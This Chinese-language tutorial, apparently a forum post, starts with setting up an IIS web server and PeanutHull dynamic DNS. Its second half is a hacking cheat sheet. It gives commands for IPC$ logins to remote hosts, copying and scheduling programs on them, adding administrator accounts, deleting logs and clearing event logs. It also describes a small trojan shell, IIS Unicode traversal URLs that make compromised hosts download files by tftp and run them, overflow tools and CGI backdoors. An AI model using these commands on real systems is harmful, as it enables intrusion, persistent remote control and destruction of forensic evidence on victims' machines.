自己的电脑要做服务器，只要安装IIS并启用就行了。
一、安装IIS
从桌面打开"我的电脑",进入后打开“控制面板",好，这时找到“添加/删除程序",进行双击；在弹出的窗口中，单击“添加/删除Windows组件",等待，会
弹出一个窗口，这里可以进行选择，看要安装什么组件，这些你以后慢慢看吧，我们先完成我们要做的事。在组件列表中选择第一个“Internet信息服务(IIS)",
也就是在这一个名称前面的四角框打上勾;（当然，你也可以对“Internet信息服务(IIS)"这一条进行双击，这时就会弹一个窗口，里面又可以进行选择，看哪些不需要安装都可以去掉勾。）
我们选好了以后，单击“下一步",这时就会弹出一个进度条，安装过程中会提示你插入跟你当前所用的系统版本相对应的系统安装盘；例如：你的系统是XP，那就插入XP系统安装盘；
2000就插入2000系统安装盘。建议用2000server的的系统做服务器会比较稳定，而且人数访问限制可以自由设置。放入光盘后，单击确定。完成后，开始设置IIS。
二、设置IIS
也是打开“控制面板”--->然后打开“管理工具”--->这时找到我们刚安装的“Internet 服务管理器",双击；我们看到的是"Internet信息服务"窗口,
这时我们对，左窗口的“Internet信息服务”文字下边的“你电脑的计算机名旁的+号进行单击，弹出下一级目录，我们现在只要做网站服务器，其它功能不需要，我们都把它停止运行，
免得被人攻击，如：”默认FTP站点“，我们现在不需要，对该项进行右击选”停止“。我们看到的都照这个步骤弄”停止“服务，只留一个”默认web站点”为”启动“状态。
接下来我们开始设置我们的站点吧。对“默认web站点”右击，选择”属性“，弹击一个名为”默认web站点属性”的窗口，我们要设的第一个“Web站点":
详细设置列表：
Web 站点标识
说明： 默认Web站点
IP 地址： (全部未分配)
TCP 端口： 80 (填80)
连接
无限 (不限制访问人数，就单击前边的圆圈)
限制到 (要限制访问人数，就单击前边的圆圈和输入限制连接的人数)
连接超时:30(秒)
启用保持 HTTP 激活 (打上勾)
启用日记记录 (打上勾)
活动日记格式:
W3C 扩充日志文件格式
这一页设置就完成了；下一设置：
操作员:
这里就不用设了，用默认的.
性能:
这里也可以跳过，可以不用设置。也可以过看后自已看看需不需要设置。
ISAPI 筛选器
这里不管它
主目录
(这里要好好设一下了)
连接到此资源时，内容应该来自于：
此计算机上的目录
另一计算机上的共享位置
重定向URL
(这里我们选第一个)
本地路径: (这里是你那网站肉容的文件夹)比如：我们的网站放在E:\web,那我们就填"E:\web"
(打勾) 脚本资源访问 (打勾)日志访问
(打勾) 读取 (打勾)索引此资源
写入(不打勾，打了勾，别人就可以修改我们的网站了)
目录浏览(不打勾，看情况定)
应用程序设置
应用程序名： 默认应用程序
起始点： <默认 Web 站点>
执行许可： 纯脚本
应用程序保护： 中 (共用的)
这一页也设置完成了
文档
(打勾)启用默认文档
列表里设置
index.htm (单击添加，输入index.htm,确定。进行添加.)
index.asp (单击添加，输入index.asp,确定。进行添加.)
index.html (单击添加，输入index.html,确定。进行添加.)
Default.htm
Default.asp
iisstart.asp
调整顺序：单击添加后的列表里的任一个项目，然后按左边的向上键，向上移动，向下键，向下移。
以上的顺序说明：
比如你的网站上有"index.htm、index.html、index.asp"这三种网页文件，那么你在网页中进行访问，会先访问到index.htm,若你的网站不存在index.htm,那么网页会访问index.asp,
index.htm和index.asp都没时，那么我们输入网址访问到的就是index.html文件.(这些都是根据我们上边的设置来进行的)
(不打勾)启用文档页脚
这一页完成
接下来我们只看一个
目录安全性
匿名访问和验证控制
单击“编辑"
在弹出的"验证方法"窗口中进行如下设置
(打勾)匿名访问
单击编辑
这时弹出一个“匿名用户帐号"
匿名用户
用户名：(选择一个只可以进行访问的帐号)(这里一般已经默认设置了这样一个帐号)
密码：默认
(打勾)允许IIS控制密码
完后，我们就直按确定，全部设置完成
空有一个网站空间怎么行？还要个域名才可以让别人访问到我们的网站，要不刚才设的都白设了。好，
我们用花生壳来完成这个任务
先到http://www.oray.net/ 注册一个帐号
注册完成后，在里面申请一个免费域名（这些在花生壳网站里可以看看帮助）
然后在站里对域名进行设置
详细设置如下：
维护花生壳服务
请如实填写以下资料，这些资料将用于您的站点推广，其中带有“＊”的为必填项。
二级域名＊ 这里显示的是你刚注册的免费域名
站点分类＊ 一般选综合网站(看自已的网站定)
站点描述＊ 写你的网站的介绍
更新消息＊ 随便写一下，比如:网站新开
在线时间仅仅是一个参考，具体的在线时间实际上是由您安排的。告诉别人您的在线时间计划可以方便大家更好地访问您的网站。
不定时 (如果你的电脑时常开关机，就选这个)
在线时间＊ 持续在线 (如果你的电脑天天在线就选这个)(一般选持续在线)
固定时间 从几点至几点 (你的电脑什么时间到什么时间在线)
以上资料只是作为一种描述，您实际开放的服务及其端口不会因以上描述资料而发生实际改变
(打勾) Web 端口 80 Web服务器的端口，默认值80
(打勾) FTP 端口 21 文件传输协议端口，默认值21
端口说明＊
其它都可以不设，按完成。这里设置完成后：
在浏览器中输入“http://oray.net/PeanutHull/Down/PeanutHull3.0.2_Setup.exe”这个网址下载花生壳客户端。
下载完后进行安装
安装完后，运行，输入你的帐号和密码,进行登陆。登陆成功后，别人就可以在浏览器中输入你的域名进行访问你的网站了。
把花生壳设为“开机自动运行"
如果你的花生壳没有开，别人就不能访问你的网站。
常用的几条net命令：
（与远程主机建立空管连接） net use \\ip地址\ipc$ "" /use:""
（以管理员身份登录远程主机） net use \\ip地址\ipc$ "密码" /use:"administrator"
（传送文件到远程主机winnt目录下）copy 本机目录路径\程序 \\ip地址\admin$
（查看远程主机时间） net time \\ip地址
（定时启动某个程序） at \\ip地址 02:18 readme.exe
（查看共享） net view \\ip地址
（查看netbios工作组列表） nbtstat -a ip地址
（将远程主机c盘映射为自己的f盘） net use f: \\ip地址\c$ ""/user:"administrator"
（这两条把自己增加到管理员组）： net user 用户名 密码 /add
net localgroup administrators 用户名 /add
（断开连接） net use \\ip地址\ipc$ /delete
扫尾：
del c:\winnt\system32\logfiles\*.*
del c:\winnt\ssytem32\config\*.evt
del c:\winnt\system32\dtclog\*.*
del c:\winnt\system32\*.log
del c:\winnt\system32\*.txt
del c:\winnt\*.txt
del c:\winnt\*.log
一、netsvc.exe
下面的命令分别是列出主机上的服务项目、查寻和远程启动主机的“时间任务”服务：
netsvc /list \\ip地址
netsvc schedule \\ip地址 /query
netsvc \\ip地址 schedule /start
二、opentelnet.exe
远程启动主机的telnet服务，并绑定端口到7878，例如：
opentelnet \\ip地址 用户名 密码 1 7878
然后就可以telnet到主机的7878端口，进入dos方式下：
telnet ip地址 7878
三、winshell.exe
一个非常小的木马（不到6k），telnet到主机的7878端口，输入密码winshell，当看到cmd>后，可打下面的命令：
p path （查看winshell主程序的路径信息）
b reboot （重新启动机器）
d shutdown （关闭机器）
s shell （执行后你就会看到可爱的“c:\>”）
x exit （退出本次登录会话，此命令并不终止winshell的运行）
cmd> http://.../srv.exe （通过http下载其他网站上的文件到运行winshell的机器上）
四、3389登陆器，gui方式登录远程主机的
五、elsave.exe
事件日志清除工具
elsave -s \\ip地址 -l "application" -c
elsave -s \\ip地址 -l "system" -c
elsave -s \\ip地址 -l "security" -c
执行后成功清除应用程序日志，系统日志，安全日志
六、hbulot.exe
开启win2kserver和winxp的3389服务
hbulot [/r]
使用/r表示安装完成后自动重起目标使设置生效。
七、nc.exe(netcat.exe)
一个很好的工具，一些脚本程序都要用到它，也可做溢出后的连接用。
想要连接到某处: nc [-options] hostname port[s] [ports] ...
绑定端口等待连接: nc -l -p port [-options] [hostname] [port]
参数:
-e prog 程序重定向，一旦连接，就执行 [危险!!]
-g gateway source-routing hop point[s], up to 8
-g num source-routing pointer: 4, 8, 12, ...
-h 帮助信息
-i secs 延时的间隔
-l 监听模式，用于入站连接
-n 指定数字的ip地址，不能用hostname
-o file 记录16进制的传输
-p port 本地端口号
-r 任意指定本地及远程端口
-s addr 本地源地址
-u udp模式
-v 详细输出——用两个-v可得到更详细的内容
-w secs timeout的时间
-z 将输入输出关掉——用于扫描时
八、tftpd32.exe
把自己的电脑临时变为一台ftp服务器，让肉鸡来下载文件，tftp命令要在肉鸡上执行，通常要利用unicode漏洞或telnet到肉鸡，例如：
http://ip地址/s cripts/..%255c..%255c/winnt/system32/cmd.exe?/c tftp -i 本机ip地址 get 文件名 c:\winnt\system32\文件名
然后可以直接令文件运行：
http://ip地址/s cripts/..%255c..%255c/winnt/system32/cmd.exe?/c+文件名
九、prihack.exe是iis的printer远程缓冲区溢出工具
idqover.exe是溢出idq的，选择“溢出后在一个端口监听”，然后用telnet连接它的监听端口，如果溢出成功，一连它的端口，绑定的命令马上执行。xploit.exe是一个图形界面的ida溢出，成功以后winxp下需要打winxp。
一○、ntis.exe、cmd.exe和cmdasp.asp是三个cgi-backdoor，exe要放到cgi-bin目录下，asp放到有asp执行权限的目录。然后用ie浏览器连接。
